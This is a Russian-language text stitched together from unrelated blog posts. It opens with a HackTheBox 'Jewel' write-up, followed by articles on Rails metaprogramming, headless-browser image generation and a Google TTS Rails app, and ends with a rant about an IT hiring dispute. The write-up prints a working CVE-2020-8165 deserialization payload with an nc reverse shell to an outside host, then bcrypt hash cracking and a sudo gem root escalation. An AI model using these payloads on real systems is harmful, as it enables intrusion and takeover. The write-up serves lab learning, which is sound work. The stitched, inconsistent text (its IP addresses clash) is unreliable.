Ruby on rails

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Recon

Данная машина имеет IP адрес 10.10.10.209, который я добавляю в /etc/hosts.

10.10.10.211    jewel.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью rustscan.

rustscan jewel.htb -- -A

Порт 8080 отвечает за gitweb.

Отметим для себя наличие Gemile, что свидетельствует об использовании Ruby. На порте 8080, видимо, расположен сам проект.

И мы имеем возможность зарегистрироваться и авторизоваться.

Entry Point

Как оказалось, мы можем найти уже готовый готовый эксплоитдля данной версии Ruby on Rails.

USER

Давайте соберем эксплоит. Для начала установим все необходимое и запустим ruby интерпретатор.

git clone https://github.com/masahiro331/CVE-2020-8165.gitgem install bundler:1.17.3apt install sqlite3 libsqlite3-devbundle install --path vendor/bundlebundle exec rails db:migratebundle exec rails console

Теперь собираем свой эксплоит, в качестве нагрузки использует реверс шелл.

code = '`rm /tmp/r;mkfifo /tmp/r;cat /tmp/r|/bin/sh -i 2>&1|nc 10.10.14.215 4321 >/tmp/r`'erb = ERB.allocateerb.instance_variable_set :@src, codeerb.instance_variable_set :@filename, "1"erb.instance_variable_set :@lineno, 1payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)puts "Payload"require 'uri'puts URI.encode_www_form(payload: payload)

И находим форму отправки.

Перехватываем запрос в Burp и подменяем имя пользователя.

И получаем бэкконнект.

ROOT

И у меня не вышло авторизоваться по SSH, записав ключ, а также скачать что-либо со своего хоста, поэтому пришлось проводить поиск методов LPE самому. И в домашней директории находим файл .google_authenticator, о котором можно почитать тут. Откуда и узнаем, что он используется, как дополнительный способ подтверждения к использованию sudo,в добавок к паролю.

Теперь нужно найти учетные данные. Дойдя до директории с бэкапами, обнаружим там доступный для чтения файл sql.

А там есть два хеша.

Брутим их и находим один пароль.

hashcat --example | grep -A2 -B2 '$2a'

hashcat -a 0 -m 3200 ./jewel.hashes ./rockyou.txt

Теперь используем данный пароль для sudo. После ввода пароля нас встречает запрос кода.

Для получения кода нужно установить следующее расширение для браузера chrome, и выставить системное время как на удаленном хосте.

И мы можем выполнить gem. Посмотрев базу GTFOBins находим способ выполнения команд с помощью gem.

sudo gem open -e "/bin/sh -c /bin/sh" rdoc

И мы берем рута.

Всем привет! В этой статье хочу рассказать про метапрограммирование на примере реальной часто встречающейся проблемы.

Когда кто то говорит про метапрограммирование у олдскульного кодировщика случается приступ ярости.

И на это есть причины так и на большом проекте может показаться безумием использовать метапрограммирование, так как код становится очень сложным для чтения. А если в проект включится специалист со стороны, то он и подавно ничего не разберет в этом мета-коде.

Но все не так просто, как говорится - нет плохих инструментов. В этой статьей я постараюсь показать на реальном рабочем примере как метапрограммирование поможет сделать ваш код чище, избавит от рутинных повторений. И заставит порадоваться мета-магии.

На этом заканчивается вступление. Теперь хочу перейти к практической части и рассказать про суть проблемы

Дальше речь пойдёт о языке ruby и фраймворке Rails в частности. В руби есть рефлексия и большие возможности для метапрограммирования. Большинство гемов, модулей и фреймворков созданы при помощи мощных инструментов рефлексии.

Photo by Joshua Fuller on Unsplash

Кто писал что то на Rails скорее всего сталкивался с таким гемом как Rails Admin, если вы в своих проектах на рельсах до сих не пробовали использовать его или аналоги категорически рекомендую это сделать, так как практически из коробки вы получите полноценную CMS для вашей системы.

Так вот там есть неприятная особенность проблема с has_one association.

Они не обрабатываются автоматически и у вас не будет возможности редактировать вашу has_one связь. Выглядит это примерно как на рисунке 1. Вместо селекта, просто ссылка на чертеж.

Посмотрим на внутренности вот так выглядит модель нашего техпроцесса. У неё есть has_one связь с чертежом (draft) и хотелось бы иметь возможность редактировать её через CMS.

class TechProcess < ApplicationRecord  include MdcSchema  has_many :executor_programs, inverse_of: :tech_process, foreign_key: :barcode_tech_process, primary_key: :barcode  validates :barcode, presence: true  validates :barcode, uniqueness: true  has_one :draft2tech_process, dependent: :destroy  has_one :draft, through: :draft2tech_process  has_many :tech_process2tech_operations  has_many :tech_operations, through: :tech_process2tech_operationsend

Ситуация удивительная но решение этой проблемы простое как палка. Как следует из вики ассоциация has_one не будет должным образом инициализирована до тех пор, пока не будут заданы способы установки и получения идентификатора. Грубо говоря сетеры и гетеры.

Добавляем их в модель

def draft_id  self.draft.try :idenddef draft_id=(id)  self.draft = Draft.find_by_id(id)end

И в итоге получаем полноценный интерфейс редактирования техпроцесса с возможностью выбора чертежа, создания нового, или редактирования прикрепленного, в общем все прелести CMS.

Ничего сложного, но что если у нас 15 моделей с одной или даже несколькими связями has_one это что придется повторить эти гетеры сеттеры в каждом месте? Такое конечно можно сделать, но тогда нарушается очень важный принцип DRY. Ну и плюс природная лень не позволяет так расточительно писать много строк кода. Так что надо найти способ автоматизировать этот процесс и тут на помощь приходит метапрограммирование.

Meta решение

Что же приступим

self.reflect_on_all_associations(:has_one).each do |has_one_association|  define_method("#{has_one_association.name}_id") do    self.send(has_one_association.name).try :id  end  define_method("#{has_one_association.name}_id=") do |id|    self.send("#{has_one_association.name}=",has_one_association.klass.find_by_id(id))  endend

Вот так выглядит код, который подружит has_one и Rails Admin

А теперь более подробно что тут происходит. Далее детально буду останавливаться только на аспектах которые касаются рефлексии и мета программирования.

В руби всё является объектом, связь также является объектом и несет полную информацию о самой себе и всех своих отношениях. Первый интересный метод reflect_on_all_associations Который возвращает массив всех связей, но может принимать параметр "macro" в примере выше я передал туда :hasone и он вернул мне только has_one связи, прекрасно, даже не пришлось дальше селектить только нужные связи.

Отлично, теперь есть список всех has_one связей и нужно автоматизировано определить гетеры и сетеры. Дальше идет, простите за тавтологию, метод define_method который динамически прямо во время исполнения определяет метод.

В итоге этот код создает методы необходимые для корректной инициализации has_one в rails admin.

Сушим до конца

Всё это задумывалось для создания "сухого" кода, так что сейчас опишу последнюю деталь. Нужно всю эту мета-магию вынести в concern

require 'active_support/concern'module HasOneHandler  extend ActiveSupport::Concern  included do    self.reflect_on_all_associations(:has_one).each do |has_one_association|      define_method("#{has_one_association.name}_id") do        self.send(has_one_association.name).try :id      end      define_method("#{has_one_association.name}_id=") do |id|        self.send("#{has_one_association.name}=",has_one_association.klass.find_by_id(id))      end    end  endend

И в итоге класса который в который нужно добавить гетеры и сетеры, добавляется всего одна строчка со включением консерна. Таким малословным способом удалось подружить CMS и has_one связи. Если применять стандартный подход то пришлось бы писать определять гетеры и сетеры для каждой связи в каждой модели, а их может быть немало.

class TechProcess < ApplicationRecord  include MdcSchema  include HasOneHandler  has_many :executor_programs, inverse_of: :tech_process, foreign_key: :barcode_tech_process, primary_key: :barcode  validates :barcode, presence: true  validates :barcode, uniqueness: true  has_one :draft2tech_process, dependent: :destroy  has_one :draft, through: :draft2tech_process  has_many :tech_process2tech_operations  has_many :tech_operations, through: :tech_process2tech_operationsend

Заключение

Надеюсь мне удалось показать практическую ценность использования приемов метапрограммирования. Использовать его или нет решать конечно вам. Если применять его слишком часто и не к месту, то проект превратиться в абсолютно не читаемый и трудно отлаживаемый, но в случае правильного использования, напротив, уменьшает количество кода, улучшает читаемость и избавляет от рутиной работы. Спасибо всем кто дочитал!

Всем привет! В этой статье я расскажу как разрабатывали решение по автоматизации генерации картинок из шаблона. Сначала будет обоснование кейса и затем техническая часть решения.

Обоснование кейса

Не секрет что соцсети являются огромной площадкой для поиска аудитории что бы позитивно выделить свой материал в ленте сделать его узнаваемым и вызывающим желание кликнуть. нужно правильно оформить на странице The Open Graph тэги.

страница без og тегов выглядит довольно куцо в соцсети или мессенджере, просто строчка с текстом и всю информацию о том что внутри вы узнаете только перейдя по ней. Настроив og теги вы сразу же можете презентовать свой сайт. и сделать его узнаваемым и выделяющимся ещё до того как пользователь зайдёт к вам. Важной частью этой узнаваемости конечно является изображение. Хорошо если у вас лендинг и вам достаточно одной картинки на весь сайт. Но если у вас ресурс с огромным количеством контента то нужно как то разнообразить эти изображения и сделать уникальными, вооружившись пэинтом фотошопом можно без проблем сделать такую картинку, но процесс этот довольно рутинный и скучный и всё таки требует времени, но его можно автоматизировать. В этом месте и появляется задача генерировать такие изображения автоматически. Работая в charmer мы делаем проекты на высоком визуальном уровне и изображения для расшаривания в соцсетях и мессенджерах являются важной частью. Давайте перейдём к описанию решения.

Техническая часть

Все кто пытался редактировать изображения в коде, скорее всего сталкивался с imageMagick решение уже зарекомендовавшее себя, есть обертки под все популярные языки, до сих не теряет актуальности поддерживается и развивается. Позволяет делать магию с картинками, закрывает практически все потребности в обработке картинок. Что же не так с ImageMagick? Он невероятно сложен в использовании. Если нужно сделать относительно сложный визуал

то в imageMagick будет довольно тяжело всё это выстроить. Учитывая то что изображение для фона, не всегда подходят по размеру и пропорциям под итоговый вариант. И наложенный текст может быть любой длинны. Так же в тексте могут быть важные типографические контролы, например неразрывный пробел.

В общем достаточно сложно сделать какой то шаблон для изображений который будет собираться в imageMagick. Но существует уже отличное готовое и всем известное решение для верстки по шаблону это - HTML.

Как можно применять HTML и Headless browser можно увидеть на схеме ниже.

Первым делом создается знакомый всем rails разработчикам ERB template. По нему генерируется html файл и запускается headless browser, исполнение bash команд в руби реализовано в Kernel. Дальше браузер сохраняет скриншот в файл и готово. Мы получили результирующую картинку.

Производительность

Запуск внешнего приложения в коде звучит как задача которую нужно явно запускать в фоновом режиме. Для этой цели отлично подходит sidekiq. Возможно у вас chrome тоже вызывает устойчивую ассоциацию с избыточным потреблением памяти, но как показали тесты, в headless режиме память расходуется в щадящем режиме.

На видео видно потребление ресурсов при работе приложения. Заметно как резко подскочило цпу, но это настраивается уже через sidekiq на видео в нем паралельно запускаются несколько воркеров, код для генерации картинок потокобезопасный. Если настроить на один поток то потребление ресурсов будет гораздо скромнее. За 20 секунд сгенерировалось и сохранилось 50 изображений, что достаточно быстро для такой задачи.

Итоги

Конечной целью было создание инструмента который позволит решать описанную задачу быстро и надежно. При написании кода упор был сделан на минимальное конфигурирование, потокобезопасность и простоту в использовании. Исходники доступны на гитахбе и сам гем на rubygems. Если для кого то этот гем будет полезным и найдутся идеи и желание как то улучшить\исправить с радостью приму PR или комментарии) Всем спасибо, кто дочитал до конца!

С самых юных лет, с самого первого прочтения залпом "Трех мушкетеров" автор неколебимо убежден, что оптимальный способ обучения чему-либо - практика. Теорию в дальнейшем можно подучить и подточить, друзья-мушкетеры "покажут несколько славных приемов", не проблема. Но, если верить досточтимому мэтру Дюма (а автор ему верит), оптимальный способ интеграции в любую новую для себя сущность - сходу погрузиться в нее с головой, а там как пойдет. Где наша не пропадала, да и, как известно, любой гасконец с детства академик.

Вообще, если интерес возникнет, то это всегда 90% успеха, поверьте... ну, а если не возникнет, что ж. Сэкономите время: стало быть, не ваше. Сейчас, таким образом, самонадеянный и скорый на подъем аффтор, всегда готовый выхватить шпагу при виде гнусного тролля на любом интернет-форуме - предлагает всем dbutants потратить всего лишь полчаса-час на то, чтобы заинтересоваться сразу несколькими технологиями, в числе которых язык программирования Ruby, API Google Cloud Text to Speech, облачная PaaS-платформа Heroku и git.

К слову. Предвидя сделанные на языке растреклятых англичан, исконных врагов любого истинного француза комментарии в стиле "Is ruby dead?", в том смысле, а есть ли смысл вообще этим заниматься... автор предлагает всем любителям потрепаться-ни-о-чем-в-инете временно оставить эту животрепещущую тематику, сменив ее на рекомендации по изготовлению чудодейственного бальзама, наподобие того, что дала в путь-дорогу д`Артаньяну любящая его матушка, и который помог бы, в духе дня, раз и навсегда избавиться от спама за подписью того или иного эйчара, русскоговорящего или европейца/американца, несколько раз в неделю присылающих абсолютно ненужные автору инвайты на позицию Ruby Developer. Ненужные не потому, что автор, вволю напрактиковавшись и слегка "подточив" теорию, привык получать приглашения исключительно и самолично из рук аж самого CTO Armand-Jean du Plessis, duc de Richelieu... а потому, что за все годы работы - ни одного проекта, ни одной должности от HR он не получил, так уж сложилось.

Чего и вам от души желает. Если какой-либо институт и мертв, то это почти наверняка Human Resource, по крайней мере, у нас в России (как с этим обстоят дела у Бекингема - Бог весть, не знаю). Все остальное покамест работает... это была, так сказать, литературная прелюдия, ну а теперь сходу к практике, с места в карьер. "Сударь, вы ошиблись! Нас не трое, нас четверо!"

Итак. Цель сегодняшних наших упражнений - построение приложения, работающего с API Google Cloud Text to Speech, иными словами - конвертера текста в звук, и с очень неплохим качеством. Правда, все чаще раздаются голоса, дескать, IBM Text-to-Speech API круче, но это мы оставим, с вашего позволения, для следующей статьи... "голоса" обычно не скрывают, что IBM API обходится недешево, гугловский же сервис возможно использовать практически бесплатно (находим и внимательно читаем Terms of Service). Но вам понадобится волшебный ключ, нечто в стиле "то, что сделал предъявитель сего, сделано по моему приказанию и для блага государства" в формате JSON, для получения которого, вполне возможно, придется засветить ваш MasterCard здесь. Может быть, даже заморозят на недельку кровный ваш $1, ничего? - ну всяко это не так страшно, как в военное де-факто время совершать вояж за линию фронта, будучи вдохновленным одним лишь лукавым взглядом г-жи Бонасье, согласитесь.

Также зарегистрируйте Free account Heroku, куда мы с вами намереваемся пушить ваше первое приложение на основе фреймворка Ruby on Rails, скачайте и установите git и Heroku toolbelt для своей OS.

Немного о структуре приложения. Как уже сказано выше, это rails-app, полноценный веб-интерфейс для API Google Cloud Text to Speech: аутентификация реализована посредством device (полистайте доку, там немало интересного на случай, если захотите что-то изменить в предлагаемом техническом решении), сконфигурированного таким образом, что возможен лишь один пользователь. Что нам и нужно: сразу после деплоя приложения на Heroku вы зарегистрируетесь в нем, подтвердив указанный вами email, и дальнейшие регистрации будут невозможны (изменить или сбросить пароль вы, при необходимости, сможете).

Интерфейс выполнен в духе минимализма, под которым автор понимает Bootstrap 4 и кое-какие джаваскрипты; информационные flash-сообщения панели управления - средствами ajax, благо он как никто родной для Ruby on Rails. Заказчик-киевлянин, для которого был выполнен этот rails-app, он же старый мой приятель, скупой как кардинал Мазарини - очень просил "без излишеств, можно вообще без стилей", ну и вот... впрочем, помимо ожидания, получилось вполне элегантно. Представленный далее короткий ролик не самый новый, с момента его создания приложение было рефакторено и получило новые свойства, но какое-то визуальное представление способен дать.

Да, и "о фичах". На момент публикации этого материала Google-Cloud-TTS-Rails способен работать с текстом (также поддерживается SSML) на любом из 18 языков, конвертируя в один из следующих, по желанию, форматов: MP3 (MPEG Audio Layer III), WAV (LINEAR16) and OGG (OGG_OPUS), поддерживаются оба доступных voice type: WaveNet и Basic. Также интерфейс приложения позволяет корректировать скорость произношения...

...с чего, пожалуй, и начнем этот краткий экскурс в программный код. Меню регулировки скорости реализовано как хелпер, посредством которого получаем в HTML выпадающее меню (drop-down list), диапазон значений от 0.25 до 4.0 (обусловлено API), шаг 0.25, значение по-дефолту 1.0. Привыкайте, это рельсы:

module SoundHelper  def speaking_rate    select_tag 'speaking_rate', options_for_select(      0.25.step(by: 0.25, to: 4.0), selected: '1.0'    ), { class: 'btn' }  endend

Да, к слову. Те, кто не хотят вникать в код, возможно, им это сто лет не нужно... имеют возможность пропустить вышесказанное/поименованное мимо, соответственно, ушей и глаз, равно как и еще парочку фрагментов кода, воспоследующих далее. Имеете полное право, почему нет. Я сейчас сделаю краткую паузу на то, чтобы in two words рассказать, как залить из гитхаба на Heroku полностью готовое к работе приложение, вам понадобятся на вашем рабочем компе лишь Heroku CLI и git, как уже и говорил. Ruby и postgreSQL в этом случае без надобности.

Клонируйте приложение с гитхаба и по окончании перейдите во вновь созданный каталог, набрав в консоли:

git clone https://github.com/cmirnow/Google-Cloud-TTS-Rails.gitcd Google-Cloud-TTS-Rails

Бросьте файл, содержащий ваш персональный ключ YOUR_KEY_NAME.json, в корень директории приложения (название значения не имеет). Далее:

git add .   git commit -m "my first commit"heroku creategit push heroku masterheroku run rake db:migrate

Откройте панель администрирования Heroku, YOUR_NEW_APPLICATION -> 'Settings' -> 'Reveal Config Vars', и введите следующие пары key/value:

key: GOOGLE_APPLICATION_CREDENTIALS value: YOUR_KEY_NAME.json

key: DOMAIN_NAME value: YOUR_HEROKU_DOMAIN ### i.e 'https://***************.herokuapp.com' without quotes.

key: GMAIL_USER_NAME value: YOUR_GMAIL_LOGIN

key: GMAIL_PASSWORD value: YOUR_GMAIL_PASSWORD ### (An App Password is a 16-digit passcode that gives an app or device restricted access to your Google Account without having to divulge your personal password and complete access to your Google Account).

Как видите, потребуется указать доступ к почтовому серверу, чтобы Google-Cloud-TTS-Rails смог отослать вам письмо в ходе регистрации аккаунта, также на случай необходимости сброса забытого пароля. И - на этом все, после регистрации приложение полностью готово к работе. Лимит текста "за один раз" - 5000 знаков, обусловлено Google. Надеюсь, вам понравится.

Мне же осталось показать всего только очень несложную логику работы приложения. Сейчас не буду подробно останавливаться на rails-валидациях, скажу лишь, что по дефолту проверяется только количество введенных знаков, и вы сможете добавить или исключить, при желании, самые разнообразные проверки:

class Validationinclude ActiveModel::Modelattr_accessor :requestvalidates :request, presence: true, length: {in:3..4999}end

Контроллер, как ему и предназначено судьбой, служит связующим звеном между интерфейсом пользователя и собсно сервисом, вызывая метод класса TtsConversion со следующими параметрами:

  def conversion    audio_format = TtsConversion.index(client, synthesis_input, voice, audio, params[:codec])    success_info(audio_format)  end  def client    Google::Cloud::TextToSpeech.text_to_speech  end  def synthesis_input    { params[:text_or_ssml] => params[:request] }  end  def voice    { language_code: params[:lang], name: params[:voicename] }  end  def audio    { audio_encoding: params[:codec], speaking_rate: params[:speaking_rate].to_f }  end

class TtsConversion  def self.index(*args)    response = args[0].synthesize_speech input: args[1], voice: args[2], audio_config: args[3]    File.open 'public/output/output.' + audio_format(args[4]).to_s, 'wb' do |file|      file.write response.audio_content      audio_format(args[4]).to_s    end  end  def self.audio_format(codec)  case codec  when "LINEAR16"  'wav'    when "OGG_OPUS"      'ogg'  else  'mp3'  end  endend

Всю работу свершает, по сути, gem 'google-cloud-text_to_speech', передавая конвертируемый текст и выбранные параметры в API Google Cloud Text to Speech и получая обратно звук в цифре. Вот, пожалуй, и все.

Статья имеет своей целью не только и не столько попытку анализа крайне субъективной сущности термина Team leader, лидер команды, проведя некую полушутливую аналогию с капитаном боевого корабля в условиях морского сражения (почему бы и нет, кстати..?), но и в очередной раз заострить внимание профессиональной аудитории на невероятно убогом (целиком принимая на себя ответственность за использование данного термина) состоянии рынка труда в IT в двух отдельно взятых странах - России и Украины. Белоруссию обойду молчанием, ситуация там иная, как мне кажется... но, что касается первых двух - автор склонен сейчас сделать крайне непопулярное, вероятно, заявление, сказав, что мы действительно один народ. Во всяком случае - когда разговор заходит о соблюдении законов и, в частности, законов о труде.

В качестве кратенького лирического отступления перескажу содержание своего диалога с неким американцем, носителем языка на English Courses, которые некогда посещал. Угораздило меня попросить почтенного препода прокомментировать суть gray salary, дескать, имеет ли подобное место быть в твоей Америке, нет? - он сперва меня попросту не понял, готов предположить, виной тому был уровень моего английского, образчика "лэт ми спик фром май хард"; а, когда наконец дошло (ну, "они тупые", как не один десяток лет восторженно декларировал с эстрадных подмостков некий наш "актер") - бесхитростно расхохотался мне в лицо.

Ох уж эти всегда непосредственные и непредсказуемые янки, все-то в мире беды от них. Коль скоро в политическом тренде в России сейчас Редьярд Киплинг, позволю себе процитировать его строчки, посвященные одному из (не по рождению) американцев, очень недурно, кстати, отличившемуся, воюяя с турками на российской стороне в чине контр-адмирала:

В нём проказа внутри, хоть снаружи он бел, и может учуять любой

Запах мускуса, что владелец рабов всегда несёт за собой.

Забегая вперед, к рабам мы еще вернемся... а вот ответ, интонацию которого я попытаюсь при переводе адаптировать на российский лад так, как ее услышал, прозвучал примерно следующим: "Дорогой мой... да, в национальных диаспорах, кое-где у нас порой, Куба, мать ее, месканы/арабы, что скрывать... но - это исключение, подтверждающее жесткое правило: в Америке нет серых зарплат, it's impossible".

Далее перехожу к эпизоду, о котором хочу рассказать. Упоминания о сталинградской битве в моем тексте, ровно так же, как и у Киплинга, не будет иметь места быть; увы, это единственное, что ставит нас на одну доску по части литературного таланта, поэтому я по большей части процитирую, без купюр и as it is, электронную переписку, сохраненную в моем архиве как воспоминание об испытательном сроке на позицию Ruby Developer украинской компании Kodo Labs, Одесса (поставил в известность своего корреспондента о намерении публикации). Предваряя разгневанные комментарии в духе неприемлемости и безграмотности подобного рода параллелей/экстраполяций на "весь рынок труда", начну со следующего утверждения: в отличие от Америки, второй родины безжалостного капера, работорговца и кавалера ордена Св. Анны, потемкинского контр-адмирала Джон Пол Джонса, у нас подобное является именно правилом, а не исключением. Go ahead, my friends.

Непонимание и разногласия возникли у нас практически сразу:

29.04.2021 17:23, Alexey пишет:

Привет. Юрий, не так. Взаимопонимание возможно при одном условии, необходимом и, вероятно, достаточном: обе стороны признают существование неких констант, трактовка которых, с обеих же сторон, одинакова. Недаром любой договор начинается с определения терминологии. Любые, как ты их называешь, "условные понятия" - в любой договоренности суть попытка манипуляции, что заведомо не способствует взаимному доверию.

В качестве такой константы / точки отсчета я всегда предлагаю принять правовое поле, что диктуется не только проявлением уважения к законам страны, в которой живешь и работаешь, но и, не в последнюю очередь, самоуважением. Ты же мне говоришь, что договоров у тебя нет, но, тем не менее, ты хочешь контролировать рабочее время тех, кто де-факто и де-юре работает на твоем предприятии. Причем речь именно о контроле, что ты и сам признаешь, цитирую: "И дело вовсе не, или не только, в контроле..."

Ты это всерьез, про гречку? - забей, не аргумент. Попытка провести аналогию между учетом рабочего времени и килограммами продаваемого товара я даже комментировать не буду, несерьезно. И крайне странно слышать подобную сентенцию от руководителя компании.

Предлагаю следующее. В основу сотрудничества ставим не "условные понятия", которые оставляют возможность многозначных трактовок и, как следствие, злоупотреблений (с обеих сторон), а четкое понимание правовой основы, это стандартная позиция нормального человека в нормальном цивилизованном мире (я, разумеется, не ************ имею в виду): договор у нас с тобой не трудовой, а партнерский, у нас это называется ГПО (гражданско-правовые отношения), и в Украине есть аналог. Такого рода договор (хотя бы и изустный, не имеет значения) предопределяет равноправие обеих сторон, что исключает тот самый контроль, к которому ты так стремишься.

Разумеется, я готов, как это и принято в большей половине украинских компаний, вручную указывать затраченное время. Это некритично; значение имеет именно взаимопонимание, о котором ты сам сказал. Аналогия человеко-часов с килограммами (или попытка представить 15 лет работы компании, перипетии которой мне неведомы, в качестве "гарантии") суть правовой и логический абсурд, тебе то же самое скажет любой юрист, и строить работу на таком шатком фундаменте я не стану: "опыт, сын ошибок трудных".

Поясню. Стойкое неприятие вызвала (как и всегда в аналогичных случаях, имя которым, повторюсь, легион на просторах вставшей с колен державы) следующая сентенция тимлида / фаундера Kodo Labs, от которого я получил предложение принять участие в проекте, цитата: "У нас в компании минимум бюрократии. У нас нет НДА или договоров, потому что все это не дороже бумаги, на которой они написаны."

Как замечательно, а. Скажите, только у меня подобный подход - "в законе одно, в бухгалтерии другое, на деле третье" - вызывает ощущение, как бы это поаккуратнее описать в приемлемых для печати фразах, эдак литературненько... некоей занудной и мучительной, как зубная боль или, лучше сказать, вялотекущая шизофрения... "состояния нестояния"? Надеюсь, Читатель, приняв во внимание, что Автор Вот В Этом живет, с матерком просыпается и с ним же засыпает, в навязчивой, вонючей как дерьмо, субстанции хронического вранья, шизоидной этой российской раздвоенности, которой за свою нелегкую трудовую жизнь нахлебался вдосталь... простит ему некоторую эмоциональность литературного стиля. Который, зато, не подразумевает ни малейшей двусмысленности, эвфемизмов и экивоков, чем не круто.

Поясню еще, и двинемся далее. Утверждаю: любой работодатель, на которого ты, уважаемый мой коллега-программист-айтишник, работаешь без трудового договора либо же работаешь "как ИП" - де-юре и де-факто работодателем не является, что бы там тебе не щебетали по этому поводу прелестные девочки-эйчары; невзирая на любые прелести, все это суть нонсенс и грубейшее нарушение трудового законодательства (на хабре несколько лет назад была опубликована весьма примечательная статья о "схемах Ходорковского" и прочих в тему вещах, велкам к прочтению те, для кого сказанное - неожиданность). Как правило, речь здесь может идти о ГПО, договоре (письменном, устном) гражданско-правового характера, который априори не является договором трудовым, заведомо предопределяя равноправие сторон. С этих позиций, на которых величественно и невозмутимо, как истуканы острова Пасхи, покоится КЗОТ (и не только российский), претензия твоего заказчика (ни в коем случае не работодателя) отслеживать твои действия за компом либо пусть даже всего только контролировать время, затраченное на работу - объяснимо лишь степенью его наглости, помноженной на элементарную твою правовую безграмотность. Устанавливая Toggl на рабочий свой ПК, или же иной тайм-трекер, ну или попросту покорно выслушивая от своего горе-эмплойера нотицию о перманентных твоих нарушениях трудовой дисциплины - помни об этом.

Сказанное относится также и к Украине. Напомню: работа как ФОП (фзична особа пдпримець) не есть трудоустройство, за подробностями, пожалуйста - к юристам, специализирующимся на трудовом праве. Здесь же - короткой строкой: априори нет и быть не может ни "испытательного срока", ни "рабочего времени" в отсутствие трудового договора, в полном соответствии с КЗоТ Украины. А если договор имеет место, то, согласно ч. 11 ст. 60 КЗоТ "при дистанционной (надомной) работе сотрудники распределяют свое рабочее время по собственному усмотрению, на них не распространяются правила внутреннего трудового распорядка, если другое не предусмотрено условиями трудового договора; при этом общая продолжительность рабочего времени не должна превышать нормы, установленных статьями 50 и 51 КЗОТ Украины."

Ось так, хлопц. Вс, хто мають ншу думку, можуть йти на Хутр ловити рдксн породи метеликв.

ОК, идем дальше, дабы попробовать проанализировать, к какому финалу вполне закономерно приводит сентенция "у нас нет НДА или договоров, потому что все это не дороже бумаги, на которой они написаны", возведенная в ранг логики работы предприятия. Получаю пару тасков в работу, клонирую с гитхаба rails-app, анализирую код и запускаю у себя. Формулирую решение технической задачи, решение, однозначно не противоречащее ни одному пункту описанных условий и безусловно работоспособное, и даже, я бы использовал именно эту терминологию - ортодоксальное, классическое решение. И вдруг... я с удивлением и очень не сразу начинаю осознавать, что уровень технических познаний моего заказчика, фаундера и тимлида в одном лице - как бы это поаккуратнее сформулировать, в определенных ситуациях оставляет желать несколько лучшего...

01.05.2021 20:13, Yura Omelchuk пишет:

Начну с того, что сам вопрос поставлен не вполне корректно

Devise invitable отвечает за приглашения пользователей в систему, не более того. Можно его использовать или обойтись без него, тут надо смотреть внимательно на его функциональность и что нам даст его использование. И кстати, надо учесть, что регистрация в системе должна быть свободной, а не только по приглашению.

Вопрос управления доступом к документу решается отдельно и независимо от приглашений. Здесь нужна структура данных, отвечающая за хранение прав доступа. Для авторизации доступа, если говорить про библиотеки, мы применяем pundit а не cancan/cancancan.

Отправлено с iPhone

Здесь снова необходима ремарка автора. Которому, признаться, никогда ранее не приходило в голову, что кто-либо способен расценить использование крайне популярного, "звездного" scambra/devise_invitable как попытку "управления доступом к документу", или что включение данного функционала отменяет основную функцию devise, заключающуюся в регистрации пользователей: "Devise is a flexible authentication solution for Rails based on Warden". Помимо прочего, мою досадную неудачу чтения мыслей на расстоянии ("мы применяем pundit, а не cancancan") постеснялись бы назвать "невполнекорректностью" даже на печально известном imho-форуме, с их вечно живым, как дело Ленина, мемом-слоганом "экстрасенсов здесь нет".

02.05.2021 01:48, Alexey пишет:

Как скажешь. Но pundit нет даже в твоем джемфайле. Предложил бы описать инструментарий, посредством которого считаешь правильным имплементацию моих двух тасков, я-то ведь не умею мысли читать. Тогда постановка задачи будет законченной, на мой взгляд. Пойми правильно, способов реализовать требуемое немало. Любой на выбор.

Продолжаю догадываться: в модель документа добавляем еще один столбец, куда станем записывать юзеров/мыло, которым автор дока предоставил доступ. Соответственно, на указанной тобой новой (фейковой) вьюхе дока - будет отображаться филд, содержащий уже введенные emails, с возможностью этот список редактировать. Посредством которого любым из десятков возможных способов будет предоставляться доступ уже существующим юзерам, несуществующим - отправляем приглашения (можно новый мэйлер сделать, но по уму предложил бы попробовать devise_invitable).

Как вариант. Что скажешь про такой сценарий?

02.05.2021 05:53, Yura Omelchuk пишет:

Мы для того и обсуждаем план, чтобы синхронизировать подходы. Что касается атрибута документа, куда записывается список адресов пользователей - это не гибко, нужна отдельная сущность.

Отправлено с iPhone

02.05.2021 13:00, Alexey пишет:

По-прежнему не понимаю, чем обусловлен выбор pundit в данном случае. Пусть он хоть 10 раз гибок, суть его подхода - политики и роли, что уже не вписывается в логику задачи. Разумеется, можно и на вордпрессе интернет-лабаз сделать, да и от руки доступ накатать, без pundit / cancan и ещё десятков аналогов, с граф. интерфейсом или без - не проблема. Это такой корпоративный стандарт на все случаи жизни, pundit, либо есть иная аргументация?

02.05.2021 13:18, Alexey пишет:

Смотри, что у нас получается. Я не располагаю ни ТЗ, ни полноценным описанием задачи, т. к. таски не содержат описания требуемого инструментария - следовательно, не могу говорить об адекватности предлагаемых мной решений. Я лишь могу утверждать, что предложенные мной решения являются 100 рабочими, но судить о степени их масштабируемости априори невозможно, не располагая деталями проекта. Обсуждение превращается в аналог детской игры холодно-горячо, ты готов платить за подобное времяпрепровождение? - даже если так, это малоинтересно для меня. Предлагаю изменить подход к делу на более технически корректный.

02.05.2021 13:25, Yura Omelchuk пишет:

Окей, думаю на этом можно остановиться. Не вижу смысла продолжать если такая простейшая задача вызывает столько полемики, что же будет на более сложных? Всего хорошего. Удачи.

Отправлено с iPhone

